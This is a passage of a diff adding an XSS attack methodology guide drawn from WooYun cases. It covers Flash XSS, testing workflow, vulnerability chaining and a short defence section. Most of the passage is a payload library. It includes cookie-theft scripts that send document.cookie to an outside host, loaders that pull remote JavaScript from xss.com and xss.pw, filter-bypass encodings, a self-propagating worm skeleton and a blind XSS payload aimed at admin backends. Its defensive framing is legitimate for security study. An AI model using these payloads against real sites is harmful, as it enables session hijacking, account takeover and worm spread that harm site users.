+ // Flash loads and executes malicious SWF
441
+ ```
442
+
443
+ ### 5.4 DOM XSS Testing Flow
444
+
445
+ ```
446
+ 1. Identify JavaScript code on the page
447
+ 2. Locate DOM source usage points
448
+ 3. Trace data flow to DOM sinks
449
+ 4. Check for filtering/encoding
450
+ 5. Construct PoC for verification
451
+ ```
452
+
453
+ ---
454
+
455
+ ## 6. Flash XSS Analysis
456
+
457
+ ### 6.1 Dangerous Flash Parameters
458
+
459
+ ```actionscript
460
+ // ExternalInterface.call injection
461
+ ExternalInterface.call("function", userInput);
462
+
463
+ // Dangerous allowScriptAccess setting
464
+ allowscriptaccess="always" // Allows cross-domain JS calls
465
+
466
+ // navigateToURL
467
+ navigateToURL(new URLRequest("javascript:alert(1)"));
468
+ ```
469
+
470
+ ### 6.2 crossdomain.xml Exploitation
471
+
472
+ **Real-World Case (webmail service)**:
473
+ ```xml
474
+ <cross-domain-policy>
475
+ <allow-access-from domain="*.example.com"/>
476
+ </cross-domain-policy>
477
+ ```
478
+
479
+ Exploitation approach:
480
+ 1. Find an upload point on *.example.com (image disguised as SWF)
481
+ 2. Upload malicious SWF
482
+ 3. Read webmail service data through Flash
483
+
484
+ ### 6.3 Flash XSS Rootkit
485
+
486
+ **Real-World Case (music video site)**:
487
+ ```
488
+ 1. Flash player stores LocalSharedObject (LSO)
489
+ 2. LSO data is read and executed on the page
490
+ 3. Attacker poisons LSO, achieving persistent XSS
491
+ ```
492
+
493
+ ---
494
+
495
+ ## 7. Payload Library
496
+
497
+ ### 7.1 Basic Detection Payloads
498
+
499
+ ```html
500
+ <!-- Simple alert -->
501
+ <script>alert(1)</script>
502
+ <script>alert(document.domain)</script>
503
+ <script>alert(document.cookie)</script>
504
+
505
+ <!-- Image error trigger -->
506
+ <img src=x onerror=alert(1)>
507
+ <img/src=x onerror=alert(1)>
508
+
509
+ <!-- SVG trigger -->
510
+ <svg onload=alert(1)>
511
+ <svg/onload=alert(1)>
512
+
513
+ <!-- Mouse events -->
514
+ "onmouseover="alert(1)"
515
+ ' onmouseover='alert(1)'
516
+ ```
517
+
518
+ ### 7.2 Cookie Theft Payloads
519
+
520
+ ```html
521
+ <!-- Basic theft -->
522
+ <script>new Image().src="https://example.com/[redacted]"+document.cookie</script>
523
+
524
+ <!-- Using fetch -->
525
+ <script>fetch('https://example.com/[redacted]'+document.cookie)</script>
526
+
527
+ <!-- Via img -->
528
+ <img src=x onerror="new Image().src='https://example.com/[redacted]'+document.cookie">
529
+ ```
530
+
531
+ ### 7.3 External JS Loading Payloads
532
+
533
+ ```html
534
+ <!-- Standard method -->
535
+ <script src=//xss.com/x.js></script>
536
+
537
+ <!-- Dynamic creation -->
538
+ <script>var s=document.createElement('script');s.src='//xss.com/x.js';document.body.appendChild(s)</script>
539
+
540
+ <!-- Ultra-short payload -->
541
+ <script src=//xss.pw/j>
542
+ ```
543
+
544
+ ### 7.4 Bypass Payloads
545
+
546
+ ```html
547
+ <!-- Unicode encoding -->
548
+ <iframe/onload=alert(1)> -> Convert to Unicode
549
+
550
+ <!-- HTML entities -->
551
+ &#60;script&#62;alert(1)&#60;/script&#62;
552
+
553
+ <!-- Base64 -->
554
+ <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
555
+
556
+ <!-- String concatenation to bypass keywords -->
557
+ <script>window['al'+'ert'](1)</script>
558
+
559
+ <!-- fromCharCode bypass -->
560
+ <script>String.fromCharCode(97,108,101,114,116,40,49,41)</script>
561
+ ```
562
+
563
+ ### 7.5 Worm Payload Examples
564
+
565
+ **Social networking site worm code structure**:
566
+ ```javascript
567
+ function worm(){
568
+ jQuery.post("https://example.com/[redacted]", {
569
+ "content": "<payload_with_self_propagation>",
570
+ // ... other params
571
+ })
572
+ }
573
+ worm()
574
+ ```
575
+
576
+ **Core elements**:
577
+ 1. Obtain current user identity (cookie/token)
578
+ 2. Construct auto-publishing content
579
+ 3. Content contains the same malicious code
580
+ 4. Trigger condition: view/visit
581
+
582
+ ---
583
+
584
+ ## 8. Testing Workflow and Methodology
585
+
586
+ ### 8.1 Black-Box Testing Flow
587
+
588
+ ```
589
+ +------------------------------------------------+
590
+ | 1. Information Gathering |
591
+ | - Identify all input points |
592
+ | - Record parameter names and locations |
593
+ | - Determine data types and purposes |
594
+ +----------------------+-------------------------+
595
+ |
596
+ v
597
+ +------------------------------------------------+
598
+ | 2. Initial Probing |
599
+ | - Input special characters: <>"';& |
600
+ | - Observe encoding in responses |
601
+ | - Determine output context |
602
+ +----------------------+-------------------------+
603
+ |
604
+ v
605
+ +------------------------------------------------+
606
+ | 3. Payload Construction |
607
+ | - Select payload based on context |
608
+ | - Attempt to close existing tags/attributes |
609
+ | - Test event handlers |
610
+ +----------------------+-------------------------+
611
+ |
612
+ v
613
+ +------------------------------------------------+
614
+ | 4. Bypass Testing |
615
+ | - Encoding bypass |
616
+ | - Tag mutation |
617
+ | - Alternative events |
618
+ +----------------------+-------------------------+
619
+ |
620
+ v
621
+ +------------------------------------------------+
622
+ | 5. Exploitation Verification |
623
+ | - Confirm code execution |
624
+ | - Test cookie retrieval |
625
+ | - Verify actual impact |
626
+ +------------------------------------------------+
627
+ ```
628
+
629
+ ### 8.2 Detection Checklist
630
+
631
+ **Input Point Checks**:
632
+ - [ ] URL parameters (GET)
633
+ - [ ] Form fields (POST)
634
+ - [ ] HTTP headers (User-Agent, Referer, X-Forwarded-For)
635
+ - [ ] Cookie values
636
+ - [ ] Filenames/file content
637
+ - [ ] JSON/XML data
638
+
639
+ **Output Point Checks**:
640
+ - [ ] Direct HTML output
641
+ - [ ] JavaScript variable assignment
642
+ - [ ] Within HTML attributes
643
+ - [ ] Within URLs
644
+ - [ ] Within CSS
645
+ - [ ] Within error messages
646
+
647
+ **Context Checks**:
648
+ - [ ] Inside a tag
649
+ - [ ] Inside an attribute
650
+ - [ ] Inside a JS string
651
+ - [ ] Quote type (single/double/none)
652
+ - [ ] HTML encoding present
653
+ - [ ] JS encoding present
654
+
655
+ ### 8.3 Blind XSS Strategy
656
+
657
+ **Applicable Scenarios**:
658
+ - Admin backend systems
659
+ - Content review systems
660
+ - Ticket/helpdesk systems
661
+ - Feedback/contact forms
662
+
663
+ **Blind XSS Payload Example**:
664
+ ```html
665
+ <script src=https://example.com/[redacted]
666
+ ```
667
+
668
+ **Successful Cases**:
669
+ - Government vehicle management office: Blind injection via feedback form gained backend access
670
+ - Medical Q&A platform: Blind injection via bio field obtained backend cookies
671
+ - Gaming platform: Blind injection via user nickname gained admin access
672
+
673
+ ---
674
+
675
+ ## 9. Vulnerability Chaining
676
+
677
+ ### 9.1 XSS + CSRF
678
+
679
+ **Case (CMS platform)**:
680
+ 1. Obtain page Token via XSS
681
+ 2. Construct CSRF request using the Token
682
+ 3. Execute admin operations (delete, modify)
683
+
684
+ ### 9.2 XSS + SQL Injection
685
+
686
+ **Case (email system)**:
687
+ 1. Blind XSS to obtain admin cookies
688
+ 2. Access backend functionality using cookies
689
+ 3. SQL injection in backend for further exploitation
690
+
691
+ ### 9.3 XSS + File Upload
692
+
693
+ **Case (recruitment CMS)**:
694
+ 1. Discover KindEditor demo files
695
+ 2. Upload HTML file containing XSS
696
+ 3. Lure admin to visit and trigger
697
+
698
+ ### 9.4 XSS -> Account Hijacking -> Privilege Escalation
699
+
700
+ **Case (social platform worm)**:
701
+ ```
702
+ XSS trigger -> Obtain skey -> Forge cookie ->
703
+ Auto-post to social feed -> Auto-follow -> Worm propagation
704
+ ```
705
+
706
+ ---
707
+
708
+ ## 10. Defensive Insights
709
+
710
+ ### 10.1 Common Defense Mistakes
711
+
712
+ 1. **Only filtering script tags**: Ignoring other tags and events
713
+ 2. **Only filtering lowercase**: Case confusion bypass
714
+ 3. **Blocklist filtering**: Always missing some tags/events
715
+ 4. **Client-side filtering**: Bypass by intercepting requests
716
+ 5. **Single-pass filtering**: Double-write bypass
717
+ 6. **Only filtering input**: Ignoring secondary encoding issues
718
+
719
+ ### 10.2 Effective Defense Measures
720
+
721
+ 1. **Output encoding**: Choose correct encoding based on context
722
+ - HTML context: HTML entity encoding
723
+ - JS context: JavaScript encoding
724
+ - URL context: URL encoding
725
+
726
+ 2. **CSP policy**: Restrict script sources
727
+ 3. **HTTPOnly**: Protect cookies
728
+ 4. **Input validation**: Allowlist-based validation
729
+
730
+ ---
731
+
732
+ ## Appendix: Case Index
733
+
734
+ | Vulnerability Type | Typical Cases | Key Technical Points |
735
+ |-------------------|---------------|---------------------|
736
+ | Stored XSS | Classifieds site, automotive forum, social networking site | User input storage, multi-point triggering |
737
+ | Reflected XSS | Social platform, state-owned bank, major portal | URL parameter reflection |
738
+ | DOM XSS | Internet company document.domain, social platform Flash | Client-side code execution |
739
+ | Flash XSS | Music video site rootkit, webmail crossdomain | SWF security configuration |
740
+ | mXSS | Social platform email, webmail service | Browser parsing differences |
741
+ | Blind XSS | Government office, e-commerce platform, medical Q&A | Backend triggering |
742
+ | Worm XSS | Social networking site, social platform | Auto-propagation |
743
+
744
+ ---
745
+
746
+ *This document is distilled from real WooYun vulnerability cases, intended solely for security research and defensive reference*